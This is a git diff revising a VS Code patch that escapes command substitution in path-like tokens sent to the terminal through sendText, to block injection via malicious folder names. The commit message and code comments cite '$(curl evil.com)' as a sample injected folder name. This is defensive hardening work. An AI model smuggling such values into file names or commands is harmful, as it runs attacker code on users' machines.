diff --git a/patches/sagemaker/sanitize-terminal-sendtext-paths.diff b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff
index 7c0e80f..13eb19d 100644
--- a/patches/sagemaker/sanitize-terminal-sendtext-paths.diff
+++ b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff
@@ -1,44 +1,66 @@
-Sanitize folder paths in terminal sendText to prevent command injection
+Sanitize command substitution in path-like segments of terminal sendText
 
-Folder names containing shell metacharacters (e.g., $(curl evil.com))
-can trigger command injection when extensions send commands like
-"cd <path> && python file.py" via terminal.sendText(). This patch
-sanitizes path segments in cd commands by escaping shell-dangerous
-characters before the text is written to the terminal process.
+File/folder names containing shell metacharacters (e.g., $(curl evil.com)
+or `cmd`) can trigger command injection when extensions send commands via
+terminal.sendText(). This patch escapes $() and backtick command
+substitution patterns inside path-like tokens (both double-quoted and
+unquoted) before the text is written to the terminal process.
+
+Single-quoted paths are left alone since the shell does not interpret
+special characters inside single quotes. Non-path tokens like $HOME in
+"echo $HOME" are also left untouched to preserve intentional variable
+usage.
 
 Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts
 ===================================================================
 --- a/src/vs/platform/terminal/common/terminalEnvironment.ts
 +++ b/src/vs/platform/terminal/common/terminalEnvironment.ts
-@@ -126,3 +126,29 @@ export function sanitizeCwd(cwd: string)
+@@ -126,3 +126,46 @@ export function sanitizeCwd(cwd: string)
  export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
  	return !slc.strictEnv;
  }
 +
 +/**
-+ * Sanitize shell-dangerous characters in path segments of terminal commands.
-+ * This targets command injection via malicious folder/file names containing
-+ * shell metacharacters like $(), backticks, etc. that get interpolated when
-+ * extensions send raw commands via terminal.sendText().
++ * Sanitize shell command substitution patterns in path-like segments
++ * of terminal commands to prevent injection via malicious folder/file names.
 + *
-+ * The function identifies path-like segments following 'cd' commands and
-+ * escapes shell metacharacters to prevent command substitution.
++ * Targets: $(...), ${...}, and `...` inside path-like tokens.
++ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /.
 + */
 +export function sanitizeCdPathsInCommand(text: string): string {
-+	// Match 'cd' followed by a path, terminated by ; && || & or end of string
-+	// This handles patterns like: cd /path/to/$(evil) && python file.py
-+	return text.replace(
-+		/\bcd\s+((?:[^\s;|&]|\\ )+)/g,
-+		(_match: string, path: string) => {
-+			// If the path is already properly quoted (single or double quotes), leave it alone
-+			if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
-+				return `cd ${path}`;
++	// Strip newlines and null bytes to prevent command injection via line splitting
++	let result = text.replace(/[\r\n\x00]/g, ' ');
++
++	// Handle double-quoted path segments: "...path..."
++	// Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR
++	result = result.replace(
++		/"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g,
++		(_match: string, inner: string) => {
++			const sanitized = inner
++				.replace(/(?<!\\)\$\(/g, '\\$(')
++				.replace(/(?<!\\)\$\{/g, '\\${')
++				.replace(/(?<!\\)`/g, '\\`');
++			return `"${sanitized}"`;
++		}
++	);
++
++	// Handle unquoted path-like segments (any token containing /)
++	// This catches absolute, relative, and bare paths like foo/$(evil)/bar
++	result = result.replace(
++		/(?<=[\s;|&<>]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm,
++		(pathToken: string) => {
++			// Skip already-quoted paths — handled above or safe (single quotes)
++			if (pathToken.startsWith("'") || pathToken.startsWith('"')) {
++				return pathToken;
 +			}
-+			// Escape shell metacharacters that enable command injection
-+			const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
-+			return `cd ${sanitized}`;
++			return pathToken
++				.replace(/(?<!\\)\$\(/g, '\\$(')
++				.replace(/(?<!\\)\$\{/g, '\\${')
++				.replace(/(?<!\\)`/g, '\\`');
 +		}
 +	);
++
++	return result;
 +}
 Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
 ===================================================================
@@ -56,8 +78,8 @@ Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
  	}
  
  	async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
-+		// Sanitize shell command substitution patterns in cd path arguments
-+		// to prevent command injection via malicious folder names (e.g., $(curl evil.com))
++		// Sanitize command substitution patterns ($(), ${}, ``) in path-like segments
++		// to prevent injection via malicious folder/file names (e.g., $(curl evil.com))
 +		text = sanitizeCdPathsInCommand(text);
  		// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
  		// the text from triggering keybindings and ensure new lines are handled properly